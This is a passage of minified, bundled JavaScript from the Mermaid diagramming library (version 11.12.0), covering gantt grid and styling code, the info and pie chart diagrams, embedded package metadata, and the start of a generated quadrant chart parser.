B=P[1],F=P[2],G=n.db.getWeekday()||i.weekday;switch(F){case"millisecond":O.ticks(uc.every(B));break;case"second":O.ticks(io.every(B));break;case"minute":O.ticks(ku.every(B));break;case"hour":O.ticks(Eu.every(B));break;case"day":O.ticks(Ro.every(B));break;case"week":O.ticks(s1e[G].every(B));break;case"month":O.ticks(Su.every(B));break}}if(g.append("g").attr("class","grid").attr("transform","translate("+C+", "+(L-50)+")").call(O).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10).attr("dy","1em"),n.db.topAxisEnabled()||i.topAxis){let B=KA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_));if(P!==null){let F=P[1],G=P[2],$=n.db.getWeekday()||i.weekday;switch(G){case"millisecond":B.ticks(uc.every(F));break;case"second":B.ticks(io.every(F));break;case"minute":B.ticks(ku.every(F));break;case"hour":B.ticks(Eu.every(F));break;case"day":B.ticks(Ro.every(F));break;case"week":B.ticks(s1e[$].every(F));break;case"month":B.ticks(Su.every(F));break}}g.append("g").attr("class","grid").attr("transform","translate("+C+", "+R+")").call(B).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10)}}o(S,"makeGrid");function w(C,R){let I=0,L=Object.keys(p).map(E=>[E,p[E]]);g.append("g").selectAll("text").data(L).enter().append(function(E){let D=E[0].split(tt.lineBreakRegex),_=-(D.length-1)/2,O=u.createElementNS("http://www.w3.org/2000/svg","text");O.setAttribute("dy",_+"em");for(let[M,P]of D.entries()){let B=u.createElementNS("http://www.w3.org/2000/svg","tspan");B.setAttribute("alignment-baseline","central"),B.setAttribute("x","10"),M>0&&B.setAttribute("dy","1em"),B.textContent=P,O.appendChild(B)}return O}).attr("x",10).attr("y",function(E,D){if(D>0)for(let _=0;_{"use strict";RQe=o(t=>` + .mermaid-main-font { + font-family: ${t.fontFamily}; + } + + .exclude-range { + fill: ${t.excludeBkgColor}; + } + + .section { + stroke: none; + opacity: 0.2; + } + + .section0 { + fill: ${t.sectionBkgColor}; + } + + .section2 { + fill: ${t.sectionBkgColor2}; + } + + .section1, + .section3 { + fill: ${t.altSectionBkgColor}; + opacity: 0.2; + } + + .sectionTitle0 { + fill: ${t.titleColor}; + } + + .sectionTitle1 { + fill: ${t.titleColor}; + } + + .sectionTitle2 { + fill: ${t.titleColor}; + } + + .sectionTitle3 { + fill: ${t.titleColor}; + } + + .sectionTitle { + text-anchor: start; + font-family: ${t.fontFamily}; + } + + + /* Grid and axis */ + + .grid .tick { + stroke: ${t.gridColor}; + opacity: 0.8; + shape-rendering: crispEdges; + } + + .grid .tick text { + font-family: ${t.fontFamily}; + fill: ${t.textColor}; + } + + .grid path { + stroke-width: 0; + } + + + /* Today line */ + + .today { + fill: none; + stroke: ${t.todayLineColor}; + stroke-width: 2px; + } + + + /* Task styling */ + + /* Default task */ + + .task { + stroke-width: 2; + } + + .taskText { + text-anchor: middle; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideRight { + fill: ${t.taskTextDarkColor}; + text-anchor: start; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideLeft { + fill: ${t.taskTextDarkColor}; + text-anchor: end; + } + + + /* Special case clickable */ + + .task.clickable { + cursor: pointer; + } + + .taskText.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideLeft.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideRight.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + + /* Specific task settings for the sections*/ + + .taskText0, + .taskText1, + .taskText2, + .taskText3 { + fill: ${t.taskTextColor}; + } + + .task0, + .task1, + .task2, + .task3 { + fill: ${t.taskBkgColor}; + stroke: ${t.taskBorderColor}; + } + + .taskTextOutside0, + .taskTextOutside2 + { + fill: ${t.taskTextOutsideColor}; + } + + .taskTextOutside1, + .taskTextOutside3 { + fill: ${t.taskTextOutsideColor}; + } + + + /* Active task */ + + .active0, + .active1, + .active2, + .active3 { + fill: ${t.activeTaskBkgColor}; + stroke: ${t.activeTaskBorderColor}; + } + + .activeText0, + .activeText1, + .activeText2, + .activeText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Completed task */ + + .done0, + .done1, + .done2, + .done3 { + stroke: ${t.doneTaskBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + } + + .doneText0, + .doneText1, + .doneText2, + .doneText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Tasks on the critical line */ + + .crit0, + .crit1, + .crit2, + .crit3 { + stroke: ${t.critBorderColor}; + fill: ${t.critBkgColor}; + stroke-width: 2; + } + + .activeCrit0, + .activeCrit1, + .activeCrit2, + .activeCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.activeTaskBkgColor}; + stroke-width: 2; + } + + .doneCrit0, + .doneCrit1, + .doneCrit2, + .doneCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + cursor: pointer; + shape-rendering: crispEdges; + } + + .milestone { + transform: rotate(45deg) scale(0.8,0.8); + } + + .milestoneText { + font-style: italic; + } + .doneCritText0, + .doneCritText1, + .doneCritText2, + .doneCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .vert { + stroke: ${t.vertLineColor}; + } + + .vertText { + font-size: 15px; + text-anchor: middle; + fill: ${t.vertLineColor} !important; + } + + .activeCritText0, + .activeCritText1, + .activeCritText2, + .activeCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .titleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.titleColor||t.textColor}; + font-family: ${t.fontFamily}; + } +`,"getStyles"),c1e=RQe});var h1e={};dr(h1e,{diagram:()=>NQe});var NQe,f1e=N(()=>{"use strict";$ge();a1e();l1e();u1e();NQe={parser:Fge,db:n1e,renderer:o1e,styles:c1e}});var m1e,g1e=N(()=>{"use strict";Uf();pt();m1e={parse:o(async t=>{let e=await bs("info",t);X.debug(e)},"parse")}});var g4,IF=N(()=>{g4={name:"mermaid",version:"11.12.0",description:"Markdown-ish syntax for generating flowcharts, mindmaps, sequence diagrams, class diagrams, gantt charts, git graphs and more.",type:"module",module:"./dist/mermaid.core.mjs",types:"./dist/mermaid.d.ts",exports:{".":{types:"./dist/mermaid.d.ts",import:"./dist/mermaid.core.mjs",default:"./dist/mermaid.core.mjs"},"./*":"./*"},keywords:["diagram","markdown","flowchart","sequence diagram","gantt","class diagram","git graph","mindmap","packet diagram","c4 diagram","er diagram","pie chart","pie diagram","quadrant chart","requirement diagram","graph"],scripts:{clean:"rimraf dist",dev:"pnpm -w dev","docs:code":"typedoc src/defaultConfig.ts src/config.ts src/mermaid.ts && prettier --write ./src/docs/config/setup","docs:build":"rimraf ../../docs && pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts","docs:verify":"pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts --verify","docs:pre:vitepress":"pnpm --filter ./src/docs prefetch && rimraf src/vitepress && pnpm docs:code && tsx scripts/docs.cli.mts --vitepress && pnpm --filter ./src/vitepress install --no-frozen-lockfile --ignore-scripts","docs:build:vitepress":"pnpm docs:pre:vitepress && (cd src/vitepress && pnpm run build) && cpy --flat src/docs/landing/ ./src/vitepress/.vitepress/dist/landing","docs:dev":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:dev:docker":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev:docker" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:serve":"pnpm docs:build:vitepress && vitepress serve src/vitepress","docs:spellcheck":'cspell "src/docs/**/*.md"',"docs:release-version":"tsx scripts/update-release-version.mts","docs:verify-version":"tsx scripts/update-release-version.mts --verify","types:build-config":"tsx scripts/create-types-from-json-schema.mts","types:verify-config":"tsx scripts/create-types-from-json-schema.mts --verify",checkCircle:"npx madge --circular ./src",prepublishOnly:"pnpm docs:verify-version"},repository:{type:"git",url:"https://github.com/mermaid-js/mermaid"},author:"Knut Sveidqvist",license:"MIT",standard:{ignore:["**/parser/*.js","dist/**/*.js","cypress/**/*.js"],globals:["page"]},dependencies:{"@braintree/sanitize-url":"^7.1.1","@iconify/utils":"^3.0.1","@mermaid-js/parser":"workspace:^","@types/d3":"^7.4.3",cytoscape:"^3.29.3","cytoscape-cose-bilkent":"^4.1.0","cytoscape-fcose":"^2.2.0",d3:"^7.9.0","d3-sankey":"^0.12.3","dagre-d3-es":"7.0.11",dayjs:"^1.11.18",dompurify:"^3.2.5",katex:"^0.16.22",khroma:"^2.1.0","lodash-es":"^4.17.21",marked:"^16.2.1",roughjs:"^4.6.6",stylis:"^4.3.6","ts-dedent":"^2.2.0",uuid:"^11.1.0"},devDependencies:{"@adobe/jsonschema2md":"^8.0.5","@iconify/types":"^2.0.0","@types/cytoscape":"^3.21.9","@types/cytoscape-fcose":"^2.2.4","@types/d3-sankey":"^0.12.4","@types/d3-scale":"^4.0.9","@types/d3-scale-chromatic":"^3.1.0","@types/d3-selection":"^3.0.11","@types/d3-shape":"^3.1.7","@types/jsdom":"^21.1.7","@types/katex":"^0.16.7","@types/lodash-es":"^4.17.12","@types/micromatch":"^4.0.9","@types/stylis":"^4.2.7","@types/uuid":"^10.0.0",ajv:"^8.17.1",canvas:"^3.1.2",chokidar:"3.6.0",concurrently:"^9.1.2","csstree-validator":"^4.0.1",globby:"^14.1.0",jison:"^0.4.18","js-base64":"^3.7.8",jsdom:"^26.1.0","json-schema-to-typescript":"^15.0.4",micromatch:"^4.0.8","path-browserify":"^1.0.1",prettier:"^3.5.3",remark:"^15.0.1","remark-frontmatter":"^5.0.0","remark-gfm":"^4.0.1",rimraf:"^6.0.1","start-server-and-test":"^2.0.13","type-fest":"^4.35.0",typedoc:"^0.28.12","typedoc-plugin-markdown":"^4.8.1",typescript:"~5.7.3","unist-util-flatmap":"^1.0.0","unist-util-visit":"^5.0.0",vitepress:"^1.6.4","vitepress-plugin-search":"1.0.4-alpha.22"},files:["dist/","README.md"],publishConfig:{access:"public"}}});var BQe,FQe,y1e,v1e=N(()=>{"use strict";IF();BQe={version:g4.version+""},FQe=o(()=>BQe.version,"getVersion"),y1e={getVersion:FQe}});var aa,tu=N(()=>{"use strict";yr();Xt();aa=o(t=>{let{securityLevel:e}=ge(),r=qe("body");if(e==="sandbox"){let a=qe(`#i${t}`).node()?.contentDocument??document;r=qe(a.body)}return r.select(`#${t}`)},"selectSvgElement")});var $Qe,x1e,b1e=N(()=>{"use strict";pt();tu();Ei();$Qe=o((t,e,r)=>{X.debug(`rendering info diagram +`+t);let n=aa(e);mn(n,100,400,!0),n.append("g").append("text").attr("x",100).attr("y",40).attr("class","version").attr("font-size",32).style("text-anchor","middle").text(`v${r}`)},"draw"),x1e={draw:$Qe}});var T1e={};dr(T1e,{diagram:()=>zQe});var zQe,w1e=N(()=>{"use strict";g1e();v1e();b1e();zQe={parser:m1e,db:y1e,renderer:x1e}});var S1e,OF,z6,PF,UQe,HQe,qQe,WQe,YQe,XQe,jQe,G6,BF=N(()=>{"use strict";pt();ci();La();S1e=ur.pie,OF={sections:new Map,showData:!1,config:S1e},z6=OF.sections,PF=OF.showData,UQe=structuredClone(S1e),HQe=o(()=>structuredClone(UQe),"getConfig"),qQe=o(()=>{z6=new Map,PF=OF.showData,Sr()},"clear"),WQe=o(({label:t,value:e})=>{if(e<0)throw new Error(`"${t}" has invalid value: ${e}. Negative values are not allowed in pie charts. All slice values must be >= 0.`);z6.has(t)||(z6.set(t,e),X.debug(`added new section: ${t}, with value: ${e}`))},"addSection"),YQe=o(()=>z6,"getSections"),XQe=o(t=>{PF=t},"setShowData"),jQe=o(()=>PF,"getShowData"),G6={getConfig:HQe,clear:qQe,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:WQe,getSections:YQe,setShowData:XQe,getShowData:jQe}});var KQe,C1e,A1e=N(()=>{"use strict";Uf();pt();r0();BF();KQe=o((t,e)=>{nl(t,e),e.setShowData(t.showData),t.sections.map(e.addSection)},"populateDb"),C1e={parse:o(async t=>{let e=await bs("pie",t);X.debug(e),KQe(e,G6)},"parse")}});var QQe,_1e,D1e=N(()=>{"use strict";QQe=o(t=>` + .pieCircle{ + stroke: ${t.pieStrokeColor}; + stroke-width : ${t.pieStrokeWidth}; + opacity : ${t.pieOpacity}; + } + .pieOuterCircle{ + stroke: ${t.pieOuterStrokeColor}; + stroke-width: ${t.pieOuterStrokeWidth}; + fill: none; + } + .pieTitleText { + text-anchor: middle; + font-size: ${t.pieTitleTextSize}; + fill: ${t.pieTitleTextColor}; + font-family: ${t.fontFamily}; + } + .slice { + font-family: ${t.fontFamily}; + fill: ${t.pieSectionTextColor}; + font-size:${t.pieSectionTextSize}; + // fill: white; + } + .legend text { + fill: ${t.pieLegendTextColor}; + font-family: ${t.fontFamily}; + font-size: ${t.pieLegendTextSize}; + } +`,"getStyles"),_1e=QQe});var ZQe,JQe,L1e,R1e=N(()=>{"use strict";yr();Xt();pt();tu();Ei();tr();ZQe=o(t=>{let e=[...t.values()].reduce((i,a)=>i+a,0),r=[...t.entries()].map(([i,a])=>({label:i,value:a})).filter(i=>i.value/e*100>=1).sort((i,a)=>a.value-i.value);return X5().value(i=>i.value)(r)},"createPieArcs"),JQe=o((t,e,r,n)=>{X.debug(`rendering pie chart +`+t);let i=n.db,a=ge(),s=Vn(i.getConfig(),a.pie),l=40,u=18,h=4,f=450,d=f,p=aa(e),m=p.append("g");m.attr("transform","translate("+d/2+","+f/2+")");let{themeVariables:g}=a,[y]=vc(g.pieOuterStrokeWidth);y??=2;let v=s.textPosition,x=Math.min(d,f)/2-l,b=Sl().innerRadius(0).outerRadius(x),T=Sl().innerRadius(x*v).outerRadius(x*v);m.append("circle").attr("cx",0).attr("cy",0).attr("r",x+y/2).attr("class","pieOuterCircle");let S=i.getSections(),w=ZQe(S),k=[g.pie1,g.pie2,g.pie3,g.pie4,g.pie5,g.pie6,g.pie7,g.pie8,g.pie9,g.pie10,g.pie11,g.pie12],A=0;S.forEach(_=>{A+=_});let C=w.filter(_=>(_.data.value/A*100).toFixed(0)!=="0"),R=no(k);m.selectAll("mySlices").data(C).enter().append("path").attr("d",b).attr("fill",_=>R(_.data.label)).attr("class","pieCircle"),m.selectAll("mySlices").data(C).enter().append("text").text(_=>(_.data.value/A*100).toFixed(0)+"%").attr("transform",_=>"translate("+T.centroid(_)+")").style("text-anchor","middle").attr("class","slice"),m.append("text").text(i.getDiagramTitle()).attr("x",0).attr("y",-(f-50)/2).attr("class","pieTitleText");let I=[...S.entries()].map(([_,O])=>({label:_,value:O})),L=m.selectAll(".legend").data(I).enter().append("g").attr("class","legend").attr("transform",(_,O)=>{let M=u+h,P=M*I.length/2,B=12*u,F=O*M-P;return"translate("+B+","+F+")"});L.append("rect").attr("width",u).attr("height",u).style("fill",_=>R(_.label)).style("stroke",_=>R(_.label)),L.append("text").attr("x",u+h).attr("y",u-h).text(_=>i.getShowData()?`${_.label} [${_.value}]`:_.label);let E=Math.max(...L.selectAll("text").nodes().map(_=>_?.getBoundingClientRect().width??0)),D=d+l+u+h+E;p.attr("viewBox",`0 0 ${D} ${f}`),mn(p,f,D,s.useMaxWidth)},"draw"),L1e={draw:JQe}});var N1e={};dr(N1e,{diagram:()=>eZe});var eZe,M1e=N(()=>{"use strict";A1e();BF();D1e();R1e();eZe={parser:C1e,db:G6,renderer:L1e,styles:_1e}});var FF,O1e,P1e=N(()=>{"use strict";FF=(function(){var t=o(function(he,z,se,le){for(se=se||{},le=he.length;le--;se[he[le]]=z);return se},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[1,7],s=[1,4,5,10,12,13,14,18,25,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],l=[1,4,5,10,12,13,14,18,25,28,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],u=[55,56,57],h=[2,36],f=[1,37],d=[1,36],p=[1,38],m=[1,35],g=[1,43],y=[1,41],v=[1,14],x=[1,23],b=[1,18],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,24],C=[1,25],R=[1,26],I=[1,27],L=[1,28],E=[1,29],D=[1,32],_=[1,33],O=[1,34],M=[1,39],P=[1,40],B=[1,42],F=[1,44],G=[1,62],$=[1,61],U=[4,5,8,10,12,13,14,18,44,47,49,55,56,57,63,64,65,66,67],j=[1,65],te=[1,66],Y=[1,67],oe=[1,68],J=[1,69],ue=[1,70],re=[1,71],ee=[1,72],Z=[1,73],K=[1,74],ae=[1,75],Q=[1,76],de=[4,5,6,7,8,9,10,11,12,13,14,15,18],ne=[1,90],Te=[1,91],q=[1,92],Ve=[1,99],pe=[1,93],Be=[1,96],Ye=[1,94],He=[1,95],Le=[1,97],Ie=[1,98],Ne=[1,102],Ce=[10,55,56,57],Fe=[4,5,6,8,10,11,13,17,18,19,20,55,56,57],fe={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,idStringToken:3,ALPHA:4,NUM:5,NODE_STRING:6,DOWN:7,MINUS:8,DEFAULT:9,COMMA:10,COLON:11,AMP:12,BRKT:13,MULT:14,UNICODE_TEXT:15,styleComponent:16,UNIT:17,SPACE:18,STYLE:19,PCT:20,idString:21,style:22,stylesOpt:23,classDefStatement:24,CLASSDEF:25,start:26,eol:27,QUADRANT:28,document:29,line:30,statement:31,axisDetails:32,quadrantDetails:33,points:34,title:35,title_value:36,acc_title:37,acc_title_value:38,acc_descr:39,acc_descr_value:40,acc_descr_multiline_value:41,section:42,text:43,point_start:44,point_x:45,point_y:46,class_name:47,"X-AXIS":48,"AXIS-TEXT-DELIMITER":49,"Y-AXIS":50,QUADRANT_1:51,QUADRANT_2:52,QUADRANT_3:53,QUADRANT_4:54,NEWLINE:55,SEMI:56,EOF:57,alphaNumToken:58,textNoTagsToken:59,STR:60,MD_STR:61,alphaNum:62,PUNCTUATION:63,PLUS:64,EQUALS:65,DOT:66,UNDERSCORE:67,$accept:0,$end:1},terminals_:{2:"error",4:"ALPHA",5:"NUM",6:"NODE_STRING",7:"DOWN",8:"MINUS",9:"DEFAULT",10:"COMMA",11:"COLON",12:"AMP",13:"BRKT",14:"MULT",15:"UNICODE_TEXT",17:"UNIT",18:"SPACE",19:"STYLE",20:"PCT",25:"CLASSDEF",28:"QUADRANT",35:"title",36:"title_value",37:"acc_title",38:"acc_title_value",39:"acc_descr",40:"acc_descr_value",41:"acc_descr_multiline_value",42:"section",44:"point_start",45:"point_x",46:"point_y",47:"class_name",48:"X-AXIS",49:"AXIS-TEXT-DELIMITER",50:"Y-AXIS",51:"QUADRANT_1",52:"QUADRANT_2",53:"QUADRANT_3",54:"QUADRANT_4",55:"NEWLINE",56:"SEMI",57:"EOF",60:"STR",61:"MD_STR",63:"PUNCTUATION",64:"PLUS",65:"EQUALS",66:"DOT",67:"UNDERSCORE"},productions_:[0,[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[21,1],[21,2],[22,1],[22,2],[23,1],[23,3],[24,5],[26,2],[26,2],[26,2],[29,0],[29,2],[30,2],[31,0],[31,1],[31,2],[31,1],[31,1],[31,1],[31,2],[31,2],[31,2],[31,1],[31,1],[34,4],[34,5],[34,5],[34,6],[32,4],[32,3],[32,2],[32,4],[32,3],[32,2],[33,2],[33,2],[33,2],[33,2],[27,1],[27,1],[27,1],[43,1],[43,2],[43,1],[43,1],[62,1],[62,2],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[59,1],[59,1],[59,1]],performAction:o(function(z,se,le,ke,ve,ye,Re){var _e=ye.length-1;switch(ve){case 23:this.$=ye[_e];break;case 24:this.$=ye[_e-1]+""+ye[_e];break;case 26:this.$=ye[_e-1]+ye[_e];break;case 27:this.$=[ye[_e].trim()];break;case 28:ye[_e-2].push(ye[_e].trim()),this.$=ye[_e-2];break;case 29:this.$=ye[_e-4],ke.addClass(ye[_e-2],ye[_e]);break;case 37:this.$=[];break;case 42:this.$=ye[_e].trim(),ke.setDiagramTitle(this.$);break;case 43:this.$=ye[_e].trim(),ke.setAccTitle(this.$);break;case 44:case 45:this.$=ye[_e].trim(),ke.setAccDescription(this.$);break;case 46:ke.addSection(ye[_e].substr(8)),this.$=ye[_e].substr(8);break;case 47:ke.addPoint(ye[_e-3],"",ye[_e-1],ye[_e],[]);break;case 48:ke.addPoint(ye[_e-4],ye[_e-3],ye[_e-1],ye[_e],[]);break;case 49:ke.addPoint(ye[_e-4],"",ye[_e-2],ye[_e-1],ye[_e]);break;case 50:ke.addPoint(ye[_e-5],ye[_e-4],ye[_e-2],ye[_e-1],ye[_e]);break;case 51:ke.setXAxisLeftText(ye[_e-2]),ke.setXAxisRightText(ye[_e]);break;case 52:ye[_e-1].text+=" \u27F6 ",ke.setXAxisLeftText(ye[_e-1]);break;case 53:ke.setXAxisLeftText(ye[_e]);break;case 54:ke.setYAxisBottomText(ye[_e-2]),ke.setYAxisTopText(ye[_e]);break;case 55:ye[_e-1].text+=" \u27F6 ",ke.setYAxisBottomText(ye[_e-1]);break;case 56:ke.setYAxisBottomText(ye[_e]);break;case 57:ke.setQuadrant1Text(ye[_e]);break;case 58:ke.setQuadrant2Text(ye[_e]);break;case 59:ke.setQuadrant3Text(ye[_e]);break;case 60:ke.setQuadrant4Text(ye[_e]);break;case 64:this.$={text:ye[_e],type:"text"};break;case 65:this.$={text:ye[_e-1].text+""+ye[_e],type:ye[_e-1].type};break;case 66:this.$={text:ye[_e],type:"text"};break;case 67:this.$={text:ye[_e],type:"markdown"};break;case 68:this.$=ye[_e];break;case 69:this.$=ye[_e-1]+""+ye[_e];break}},"anonymous"),table:[{18:e,26:1,27:2,28:r,55:n,56:i,57:a},{1:[3]},{18:e,26:8,27:2,28:r,55:n,56:i,57:a},{18:e,26:9,27:2,28:r,55:n,56:i,57:a},t(s,[2,33],{29:10}),t(l,[2,61]),t(l,[2,62]),t(l,[2,63]),{1:[2,30]},{1:[2,31]},t(u,h,{30:11,31:12,24:13,32:15,33:16,34:17,43:30,58:31,1:[2,32],4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(s,[2,34]),{27:45,55:n,56:i,57:a},t(u,[2,37]),t(u,h,{24:13,32:15,33:16,34:17,43:30,58:31,31:46,4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,39]),t(u,[2,40]),t(u,[2,41]),{36:[1,47]},{38:[1,48]},{40:[1,49]},t(u,[2,45]),t(u,[2,46]),{18:[1,50]},{4:f,5:d,10:p,12:m,13:g,14:y,43:51,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:52,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:53,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:54,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:55,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:56,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,44:[1,57],47:[1,58],58:60,59:59,63:O,64:M,65:P,66:B,67:F},t(U,[2,64]),t(U,[2,66]),t(U,[2,67]),t(U,[2,70]),t(U,[2,71]),t(U,[2,72]),t(U,[2,73]),t(U,[2,74]),t(U,[2,75]),t(U,[2,76]),t(U,[2,77]),t(U,[2,78]),t(U,[2,79]),t(U,[2,80]),t(s,[2,35]),t(u,[2,38]),t(u,[2,42]),t(u,[2,43]),t(u,[2,44]),{3:64,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,21:63},t(u,[2,53],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,77],63:O,64:M,65:P,66:B,67:F}),t(u,[2,56],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,78],63:O,64:M,65:P,66:B,67:F}),t(u,[2,57],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,58],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,59],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,60],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),{45:[1,79]},{44:[1,80]},t(U,[2,65]),t(U,[2,81]),t(U,[2,82]),t(U,[2,83]),{3:82,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,18:[1,81]},t(de,[2,23]),t(de,[2,1]),t(de,[2,2]),t(de,[2,3]),t(de,[2,4]),t(de,[2,5]),t(de,[2,6]),t(de,[2,7]),t(de,[2,8]),t(de,[2,9]),t(de,[2,10]),t(de,[2,11]),t(de,[2,12]),t(u,[2,52],{58:31,43:83,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,55],{58:31,43:84,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),{46:[1,85]},{45:[1,86]},{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:88,23:87},t(de,[2,24]),t(u,[2,51],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,54],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,47],{22:88,16:89,23:100,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{46:[1,101]},t(u,[2,29],{10:Ne}),t(Ce,[2,27],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),t(Fe,[2,25]),t(Fe,[2,13]),t(Fe,[2,14]),t(Fe,[2,15]),t(Fe,[2,16]),t(Fe,[2,17]),t(Fe,[2,18]),t(Fe,[2,19]),t(Fe,[2,20]),t(Fe,[2,21]),t(Fe,[2,22]),t(u,[2,49],{10:Ne}),t(u,[2,48],{22:88,16:89,23:104,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:105},t(Fe,[2,26]),t(u,[2,50],{10:Ne}),t(Ce,[2,28],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie})],defaultActions:{8:[2,30],9:[2,31]},parseError:o(function(z,se){if(se.recoverable)this.trace(z);else{var le=new Error(z);throw le.hash=se,le}},"parseError"),parse:o(function(z){var se=this,le=[0],ke=[],ve=[null],ye=[],Re=this.table,_e="",ze=0,Ke=0,xt=0,We=2,Oe=1,et=ye.slice.call(arguments,1),Ue=Object.create(this.lexer),lt={yy:{}};for(var Gt in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Gt)&&(lt.yy[Gt]=this.yy[Gt]);Ue.setInput(z,lt.yy),lt.yy.lexer=Ue,lt.yy.parser=this,typeof Ue.yylloc>"u"&&(Ue.yylloc={});var vt=Ue.yylloc;ye.push(vt);var Lt=Ue.options&&Ue.options.ranges;typeof lt.yy.parseError=="function"?this.parseError=lt.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function dt(Se){le.length=le.length-2*Se,ve.length=ve.length-Se,ye.length=ye.length-Se}o(dt,"popStack");function nt(){var Se;return Se=ke.pop()||Ue.lex()||Oe,typeof Se!="number"&&(Se instanceof Array&&(ke=Se,Se=ke.pop()),Se=se.symbols_[Se]||Se),Se}o(nt,"lex");for(var bt,wt,yt,ft,Ur,_t,bn={},Br,cr,ar,_r;;){if(yt=le[le.length-1],this.defaultActions[yt]?ft=this.defaultActions[yt]:((bt===null||typeof bt>"u")&&(bt=nt()),ft=Re[yt]&&Re[yt][bt]),typeof ft>"u"||!ft.length||!ft[0]){var Ct="";_r=[];for(Br in Re[yt])this.terminals_[Br]&&Br>We&&_r.push("'"+this.terminals_[Br]+"'");Ue.showPosition?Ct="Parse error on line "+(ze+1)+`: +`+Ue.showPosition()+` +Expecting `+_r.join(", ")+", got '"+(this.terminals_[bt]||bt)+"'":Ct="Parse error on line "+(ze+1)+": Unexpected "+(bt==Oe?"end of 